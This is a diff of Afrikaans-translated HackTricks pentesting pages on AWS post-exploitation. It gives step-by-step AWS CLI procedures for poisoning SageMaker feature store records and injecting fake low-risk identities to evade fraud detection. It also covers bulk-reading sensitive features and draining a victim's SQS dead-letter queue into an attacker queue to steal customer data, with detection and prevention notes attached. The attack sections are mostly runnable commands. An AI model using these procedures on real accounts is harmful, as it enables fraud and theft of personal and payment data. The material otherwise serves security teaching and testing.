- Vergiftig die Model Registry met 'n Approved-weergawe wat na attacker-controlled code verwys. Pipelines wat Approved models outomaties uitrol, kan die attacker image aflaai en uitvoer, wat kode-uitvoering onder endpoint/training-rolle tot gevolg het.
- Met 'n permissiewe ModelPackageGroup resource policy (PutModelPackageGroupPolicy) kan hierdie misbruik cross-account geaktiveer word.
## Feature store poisoning
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore aangeskakel om lewendige feature-waardes wat deur online inference verbruik word, oor te skryf. Gekombineer met `sagemaker:GetRecord` kan 'n attacker sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore aangeskakel om lewende feature-waardes wat deur online inference gebruik word oor te skryf. In kombinasie met `sagemaker:GetRecord` kan 'n attacker sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.
{{#ref}}
feature-store-poisoning.md
{{/ref}}
{{#include ../../../../banners/hacktricks-training.md}}

48
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sagemaker-post-exploitation/feature-store-poisoning.md
View File

@@ -1,11 +1,13 @@
# SageMaker Feature Store online store poisoning
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature-waardes wat deur online inference verbruik word oor te skryf. Gekombineer met `sagemaker:GetRecord` kan 'n aanvaller sensitiewe features lees en vertroulike ML-data eksfiltreer. Dit vereis nie toegang tot models of endpoints nie, wat dit 'n direkte data-laag-aanval maak.
{{#include ../../../../banners/hacktricks-training.md}}
Misbruik `sagemaker:PutRecord` op 'n Feature Group met OnlineStore geaktiveer om lewendige feature-waardes wat deur online inference gebruik word, oor te skryf. Gekombineer met `sagemaker:GetRecord` kan 'n aanvaller sensitiewe features lees. Dit vereis nie toegang tot models of endpoints nie.
## Vereistes
- Toestemmings: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Teiken: Feature Group met OnlineStore geaktiveer (tipies wat real-time inference ondersteun)
- Kompleksiteit: **LOW** - Eenvoudige AWS CLI-opdragte, geen modelmanipulasie benodig nie
- Permissies: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- Teiken: Feature Group met OnlineStore geaktiveer (gewoonlik as ondersteuning vir real-time inference)
- Kompleksiteit: **LOW** - Eenvoudige AWS CLI-opdragte, geen modelmanipulasie vereis
## Stappe
@@ -19,16 +21,16 @@ aws sagemaker list-feature-groups \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) Beskryf 'n geteikende Feature Group om sy skema te verstaan
2) Beskryf 'n teiken Feature Group om die skema daarvan te verstaan
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
Let op die `RecordIdentifierFeatureName`, `EventTimeFeatureName`, en al die feature-definisies. Dit is nodig om geldige rekords op te stel.
Neem kennis van die `RecordIdentifierFeatureName`, `EventTimeFeatureName`, en alle kenmerkdefinisies. Dit is nodig om geldige rekords saam te stel.
### Attack Scenario 1: Data Poisoning (Overwrite Existing Records)
### Aanvalscenario 1: Data Poisoning (Overwrite Existing Records)
1) Lees die huidige legitieme rekord
```bash
@@ -37,7 +39,7 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) Vergiftig die record met kwaadwillige waardes deur die inline `--record` parameter te gebruik
2) Vergiftig die rekord met kwaadwillige waardes deur die inlyn `--record`-parameter te gebruik
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
@@ -61,9 +63,9 @@ aws sagemaker-featurestore-runtime get-record \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**Impak**: ML-modelle wat hierdie kenmerk gebruik, sal nou `risk_score=0.99` vir 'n geldige gebruiker sien, wat moontlik hul transaksies of dienste kan blokkeer.
**Impak**: ML-modelle wat hierdie kenmerk gebruik sal nou `risk_score=0.99` sien vir 'n regmatige gebruiker, wat moontlik hul transaksies of dienste kan blokkeer.
### Aanvalsscenario 2: Malicious Data Injection (Create Fraudulent Records)
### Aanvalsscenario 2: Kwaadaardige datainspuiting (Skep Frauduleuse Rekords)
Inspuit heeltemal nuwe rekords met gemanipuleerde kenmerke om sekuriteitskontroles te omseil:
```bash
@@ -82,18 +84,18 @@ aws sagemaker-featurestore-runtime put-record \
]" \
--target-stores OnlineStore
```
Verifieer die injection:
Verifieer the injection:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**Invloed**: Aanvaller skep 'n vals identiteit met 'n lae risikotelling (0.01) wat hoëwaarde-bedrieglike transaksies kan uitvoer sonder om fraudedeteksie te aktiveer.
**Impak**: Aanvaller skep 'n vals identiteit met 'n lae risikoscore (0.01) wat hoë-waarde bedrieglike transaksies kan uitvoer sonder om fraudedeteksie te aktiveer.
### Aanvalsscenario 3: Sensitiewe Data Exfiltration
### Aanvalsscenario 3: Gevoelige data-ekfiltrasie
Lees meerdere rekords om vertroulike kenmerke te onttrek en die model se gedrag te profileer:
Lees verskeie rekords om vertroulike kenmerke uit te haal en die model se gedrag te profiel:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
@@ -104,11 +106,11 @@ aws sagemaker-featurestore-runtime get-record \
--record-identifier-value-as-string ${USER_ID}
done
```
**Impak**: Vertroulike kenmerke (risikoscores, transaksiepatrone, persoonlike data) blootgestel aan attacker.
**Impact**: Vertroulike kenmerke (risiko-tellings, transaksiepatrone, persoonlike data) blootgestel aan die aanvaller.
### Toets/Demo Feature Group Skepping (Opsioneel)
As jy 'n toets Feature Group moet skep:
Indien jy 'n toets Feature Group moet skep:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
@@ -141,20 +143,6 @@ fi
echo "Feature Group ready: $FG"
```
## Opsporing
Hou CloudTrail dop vir verdagte patrone:
- `PutRecord` events van ongebruiklike IAM principals of IP-adresse
- Hoë frekwensie `PutRecord` of `GetRecord` oproepe
- `PutRecord` met abnormale feature-waardes (bv. risk_score buite normale reeks)
- Grootmaat `GetRecord` bewerkings wat massale eksfiltrasie aandui
- Toegang buite normale werksure of vanaf onverwagte plekke
Implementeer anomalie-detektering:
- Validatie van feature-waardes (bv. risk_score moet 0.0-1.0 wees)
- Analise van write-patrone (frekwensie, tydsberekening, bronidentiteit)
- Data-drift-detektering (skielike veranderinge in feature-verspreidings)
## Verwysings
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)

76
src/pentesting-cloud/aws-security/aws-post-exploitation/aws-sqs-dlq-redrive-exfiltration.md
View File

@@ -1,53 +1,55 @@
# AWS – SQS DLQ Redrive Exfiltration via StartMessageMoveTask
{{#include ../../../banners/hacktricks-training.md}}
## Beskrywing
Misbruik SQS message move tasks om alle opgeboude boodskappe uit 'n slagoffer se Dead-Letter Queue (DLQ) te steel deur dit na 'n deur die aanvaller beheerde queue om te lei met behulp van `sqs:StartMessageMoveTask`. Hierdie tegniek misbruik AWS se wettige boodskapherwinningsfunksie om sensitiewe data wat oor tyd in DLQs opgehoop het, uit te voer.
Misbruik SQS message move tasks om alle opgehoopte boodskappe uit 'n slagoffer se Dead-Letter Queue (DLQ) te steel deur dit na 'n deur die aanvaller beheerde queue om te lei met `sqs:StartMessageMoveTask`. Hierdie tegniek benut AWS se wettige boodskapherstel-funksie om sensitiewe data wat oor tyd in DLQs opgehoop is, te exfiltreer.
## Wat is 'n Dead-Letter Queue (DLQ)?
A Dead-Letter Queue is 'n spesiale SQS-queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk word nie. Hierdie mislukte boodskappe bevat dikwels:
'n Dead-Letter Queue is 'n spesiale SQS-queue waar boodskappe outomaties gestuur word wanneer hulle nie suksesvol deur die hooftoepassing verwerk kon word nie. Hierdie mislukte boodskappe bevat dikwels:
- Sensitiewe toepassingsdata wat nie verwerk kon word nie
- Foutbesonderhede en debugging-inligting
- Foutbesonderhede en ontfouting-inligting
- Persoonlik identifiseerbare inligting (PII)
- API-tokene, kredensiale, of ander geheime
- Sakekritieke transaksiedata
- API-tokens, inlogbewyse, of ander geheime
- Sakekritiese transaksiedata
DLQs tree op as 'n "begraafplaas" vir mislukte boodskappe, wat hulle waardevolle teikens maak aangesien hulle oor tyd sensitiewe data opbou wat toepassings nie behoorlik kon hanteer nie.
DLQs dien as 'n "begraafplaas" vir mislukte boodskappe, wat dit waardevolle teikens maak aangesien hulle oor tyd sensitiewe data opbou wat toepassings nie behoorlik kon hanteer nie.
## Aanvalscenario
**Werklike voorbeeld:**
1. **E-handels toepassing** verwerk kliëntbestellings via SQS
2. **Sommige bestellings misluk** (betalingsprobleme, voorraadprobleme, ens.) en word na 'n DLQ verskuif
3. **DLQ stapel op** weke/maande van mislukte bestellings wat kliëntdata bevat: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Aanvaller kry toegang** tot AWS-credentials met SQS-permissies
1. **E-commerce-toepassing** verwerk kliëntbestellings via SQS
2. **Sommige bestellings misluk** (betaalprobleme, voorraadprobleme, ens.) en word na 'n DLQ geskuif
3. **DLQ bou op** weke/maande se mislukte bestellings wat kliëntdata bevat: `{"customerId": "12345", "creditCard": "4111-1111-1111-1111", "orderTotal": "$500"}`
4. **Aanvaller verkry toegang** tot AWS-credentials met SQS-toestemmings
5. **Aanvaller ontdek** dat die DLQ duisende mislukte bestellings met sensitiewe data bevat
6. **In plaas daarvan om te probeer om individuele boodskappe te bekom** (stadig en opvallend), gebruik die aanvaller `StartMessageMoveTask` om AL die boodskappe in bondel na hul eie queue oor te dra
6. **In plaas daarvan om te probeer individuele boodskappe te bereik** (stadig en opvallend), gebruik die aanvaller `StartMessageMoveTask` om ALLE boodskappe in bondels na hul eie queue oor te dra
7. **Aanvaller onttrek** alle historiese sensitiewe data in een operasie
## Vereistes
- Die bron queue moet as 'n DLQ gekonfigureer wees (verwys deur ten minste een queue RedrivePolicy).
- IAM permissions (uitgevoer as die gekompromitteerde slagoffer-prinsipaal):
- Die bron-queue moet gekonfigureer wees as 'n DLQ (verwys deur ten minste een queue RedrivePolicy).
- IAM-magtigings (uitgevoer as die gekompromitteerde slagoffer-prinsipaal):
- Op DLQ (bron): `sqs:StartMessageMoveTask`, `sqs:GetQueueAttributes`.
- Op bestemmings-queue: toestemming om boodskappe te lewer (bv. queue policy wat `sqs:SendMessage` vanaf die slagoffer-prinsipaal toelaat). Vir bestemmings in dieselfde account is dit gewoonlik standaard toegelaat.
- Indien SSE-KMS geaktiveer is: op bron CMK `kms:Decrypt`, en op bestemmings CMK `kms:GenerateDataKey`, `kms:Encrypt`.
- Op bestemming-queue: toestemming om boodskappe te lewer (bv. queue policy wat `sqs:SendMessage` vanaf die slagoffer-prinsipaal toelaat). Vir bestemmings in dieselfde rekening is dit tipies standaard toegelaat.
- Indien SSE-KMS geaktiveer is: op bron CMK `kms:Decrypt`, en op bestemming CMK `kms:GenerateDataKey`, `kms:Encrypt`.
## Impak
Onttrek sensitiewe payloads wat in DLQs opgehoop is (mislukte gebeurtenisse, PII, tokens, toepassingspayloads) teen hoë spoed deur die inheemse SQS-APIs te gebruik. Werk cross-account as die bestemmings-queue policy `SendMessage` van die slagoffer-prinsipaal toelaat.
Exfiltreer sensitiewe payloads wat in DLQs opgehoop is (mislukte gebeurtenisse, PII, tokens, toepassingspayloads) teen hoë spoed met behulp van inheemse SQS APIs. Werk oor rekeninge heen as die bestemming-queue beleid `SendMessage` vanaf die slagoffer-prinsipaal toelaat.
## Hoe om te misbruik
## Hoe om dit te misbruik
- Identifiseer die slagoffer DLQ ARN en maak seker dit word werklik as 'n DLQ verwys deur 'n queue (enige queue is goed).
- Skep of kies 'n aanvaller-beheerde bestemmings-queue en kry sy ARN.
- Begin 'n message move task van die slagoffer DLQ na jou bestemmings-queue.
- Identifiseer die slagoffer DLQ ARN en verseker dat dit werklik as 'n DLQ deur 'n queue verwys word (enige queue is goed).
- Skep of kies 'n deur die aanvaller beheerde bestemming-queue en kry sy ARN.
- Begin 'n message move task vanaf die slagoffer DLQ na jou bestemming-queue.
- Monitor vordering of kanselleer indien nodig.
### CLI Voorbeeld: Exfiltrering van Kliëntdata vanaf E-handels DLQ
### CLI Voorbeeld: Exfiltrasie van kliëntdata vanaf e-handel DLQ
**Scenario**: 'n Aanvaller het AWS-credentials gekompromitteer en ontdek dat 'n e-handels toepassing SQS met 'n DLQ gebruik wat mislukte kliëntbestellings verwerkpogings bevat.
**Scenario**: 'n Aanvaller het AWS-credentials gekompromitteer en ontdek dat 'n e-commerce-toepassing SQS met 'n DLQ gebruik wat mislukte kliëntbestellings bevat.
1) **Vind en ondersoek die slagoffer DLQ**
1) **Ontdek en ondersoek die slagoffer DLQ**
```bash
# List queues to find DLQs (look for names containing 'dlq', 'dead', 'failed', etc.)
aws sqs list-queues --queue-name-prefix dlq
@@ -61,7 +63,7 @@ aws sqs get-queue-attributes --queue-url "$VICTIM_DLQ_URL" \
--attribute-names ApproximateNumberOfMessages
# Output might show: "ApproximateNumberOfMessages": "1847"
```
2) **Skep aanvaller-beheerde bestemmingsry**
2) **Skep attacker-controlled bestemming-queue**
```bash
# Create our exfiltration queue
ATTACKER_Q_URL=$(aws sqs create-queue --queue-name hacker-exfil-$(date +%s) --query QueueUrl --output text)
@@ -69,7 +71,7 @@ ATTACKER_Q_ARN=$(aws sqs get-queue-attributes --queue-url "$ATTACKER_Q_URL" --at
echo "Created exfiltration queue: $ATTACKER_Q_ARN"
```
3) **Voer die grootskaalse boodskapdiefstal uit**
3) **Voer die massale boodskapdiefstal uit**
```bash
# Start moving ALL messages from victim DLQ to our queue
# This operation will transfer thousands of failed orders containing customer data
@@ -84,7 +86,7 @@ echo "Move task started: $TASK_RESPONSE"
# Monitor the theft progress
aws sqs list-message-move-tasks --source-arn "$SRC_ARN" --max-results 10
```
4) **Versamel die gesteelde sensitiewe data**
4) **Oes die gesteelde sensitiewe data**
```bash
# Receive the exfiltrated customer data
echo "Receiving stolen customer data..."
@@ -114,20 +116,20 @@ echo "$MESSAGES" >> stolen_customer_data.json
done
```
### Kruis-rekening notas
- Die bestemmings-queue moet 'n resource policy hê wat die slagoffer-principal toelaat om `sqs:SendMessage` (en, indien gebruik, KMS grants/permissions).
- Die bestemmings-queue moet 'n hulpbronbeleid hê wat die victim principal toelaat om `sqs:SendMessage` (en, as dit gebruik word, KMS grants/permissions).
## Waarom hierdie aanval effektief is
1. **Legitieme AWS-funksie**: Gebruik ingeboude AWS-funksionaliteit, wat dit moeilik maak om as kwaadaardig op te spoor
1. **Legitieme AWS-funksie**: Gebruik ingeboude AWS-funksionaliteit, wat dit moeilik maak om as kwaadwillig op te spoor
2. **Grootmaat-operasie**: Dra duisende boodskappe vinnig oor in plaas van stadige individuele toegang
3. **Historiese data**: DLQs versamel sensitiewe data oor weke/maande
4. **Onder die radar**: Baie organisasies monitor nie DLQ-toegang noukeurig nie
5. **Kruis-rekening moontlik**: Kan exfiltrate na die aanvaller se eie AWS-rekening as toestemmings dit toelaat
5. **Kruis-rekening-vaardig**: Kan exfiltrate na attacker se eie AWS-rekening indien permissies dit toelaat
## Opsporing en Voorkoming
## Opsporing en voorkoming
### Opsporing
Moniteer CloudTrail vir verdagte `StartMessageMoveTask` API-aanroepe:
Monitor CloudTrail vir verdagte `StartMessageMoveTask` API-oproepe:
```json
{
"eventName": "StartMessageMoveTask",
@@ -143,8 +145,10 @@ Moniteer CloudTrail vir verdagte `StartMessageMoveTask` API-aanroepe:
}
```
### Voorkoming
1. **Least Privilege**: Beperk `sqs:StartMessageMoveTask` toestemmings tot slegs die nodige rolle
2. **Monitor DLQs**: Stel CloudWatch alarms op vir ongewone DLQ-aktiwiteit
3. **Cross-Account Policies**: Hersien SQS queue-beleid wat cross-account toegang toelaat noukeurig
4. **Encrypt DLQs**: Gebruik SSE-KMS met beperkte sleutelbeleide
5. **Regular Cleanup**: Moenie sensitiewe data vir onbepaalde tyd in DLQs laat ophoop nie
1. **Minimale voorreg**: Beperk `sqs:StartMessageMoveTask` toestemmings tot slegs die nodige rolle
2. **Moniteer DLQs**: Stel CloudWatch alarms op vir ongewone DLQ-aktiwiteit
3. **Cross-account-beleide**: Hersien SQS queue policies wat cross-account toegang toelaat
4. **Enkripteer DLQs**: Gebruik SSE-KMS met beperkte sleutelbeleide
5. **Gereelde skoonmaak**: Moet nie sensitiewe data onbepaalde tyd in DLQs ophoop nie
{{#include ../../../banners/hacktricks-training.md}}